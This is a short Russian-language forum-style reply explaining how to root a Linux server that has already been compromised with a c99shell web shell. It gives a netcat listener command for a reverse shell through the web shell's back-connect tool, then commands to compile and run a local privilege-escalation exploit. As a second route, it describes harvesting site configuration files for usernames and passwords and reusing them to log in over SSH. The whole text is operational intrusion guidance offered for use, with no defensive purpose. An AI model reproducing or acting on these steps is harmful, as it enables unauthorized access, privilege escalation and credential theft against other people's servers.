Вариант 1:
Пробуй сделать backconnect , c99shell->Tools->Back connection
Сначала запусти у себя на компе NetCat из cmd: nc -l -n -v -p 31373
если backconnet проканает(появиться консоль сервера) делай
# gcc exp.c (или gcc exp.c -o exp непомню )
# chmod +x exp
# ./exp

Вариант 2:
Если на сервере есть SSH, то ищи через вебшелл разные конфиги сайтов с именами\паролями, и пробуй с ними подлючиться по SSH, если повезет и ты подключишся делай также
# gcc exp.c
# chmod +x exp
# ./exp

вроде так... давно я linux не рутал....